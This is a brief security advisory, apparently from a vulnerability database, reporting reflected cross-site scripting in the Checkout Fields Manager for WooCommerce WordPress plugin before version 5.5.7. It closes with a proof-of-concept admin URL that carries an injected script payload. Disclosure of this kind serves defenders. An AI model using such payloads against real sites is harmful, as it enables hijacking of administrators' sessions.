Checkout Fields Manager for WooCommerce < 5.5.7 - Reflected Cross-Site Scripting

The plugin does not escape some URLs before outputting them back in attributes, leading to Reflected Cross-Site Scripting

https://example.com/wp-admin/admin.php?page=wc-settings&tab=wooccm&section=advanced&">--><script>alert(/XSS/)</script>